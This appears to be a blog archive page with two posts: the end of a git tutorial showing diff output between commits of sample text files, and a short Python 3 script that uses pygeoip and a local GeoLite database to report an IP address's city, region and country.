user@linux-ryzk:~/Documents/demo/git-tutorial> git diff 6c57eaa2c8c6352d10b6153e27e4ce2d22fb7e1e 7879099254ac26ed30b6ef2f1424d919032aeb9d
    diff --git a/example.txt b/example.txt
    index e0373f3..caf30c1 100644
    --- a/example.txt
    +++ b/example.txt
    @@ -1 +1 @@
    -This is some sample data. I made a mistike.
    +This is some sample data
    diff --git a/example2.txt b/example2.txt
    deleted file mode 100644
    index d4a2d15..0000000
    --- a/example2.txt
    +++ /dev/null
    @@ -1 +0,0 @@
    -This is another file!
user@linux-ryzk:~/Documents/demo/git-tutorial> git diff 7879099254ac26ed30b6ef2f1424d919032aeb9d 6c57eaa2c8c6352d10b6153e27e4ce2d22fb7e1e
    diff --git a/example.txt b/example.txt
    index caf30c1..e0373f3 100644
    --- a/example.txt
    +++ b/example.txt
    @@ -1 +1 @@
    -This is some sample data
    +This is some sample data. I made a mistike.
    diff --git a/example2.txt b/example2.txt
    new file mode 100644
    index 0000000..d4a2d15
    --- /dev/null
    +++ b/example2.txt
    @@ -0,0 +1 @@
    +This is another file!
Posted in Git, Uncategorized | Tagged , , | 1 Comment

IP Address Geolocation With Python

This script was done in Python 3.4.3 for an exercise in OPS635.

Attempting to find the geographic location of an IP address can be quite frustrating with python on Linux. I had several issues attempting to get a library and database that were compatible with each other. Eventually I realized that the version of the database both openSUSE and Fedora ship were not compatible with the version of pygeoip that pip installs. To work around this, I had to manually download the GeoIP database from here and save it somewhere on the filesystem. Then I just told python the path to the database and everything seemed to work fine from there. Here is the script, feel free to use it as you wish:

import pygeoip

def ipLocator(ip):
    GeoIPDatabase = '/home/user/GeoLiteCity.dat'
    ipData = pygeoip.GeoIP(GeoIPDatabase)
    record = ipData.record_by_name(ip)
    print("The geolocation for IP Address %s is:" % ip)
    print("Accurate Location: %s, %s, %s" % (record['city'], record['region_code'], record['country_name']))
    print("General Location: %s" % (record['metro_code']))
Posted in Linux, Monitoring, Python | Tagged , , , , | 3 Comments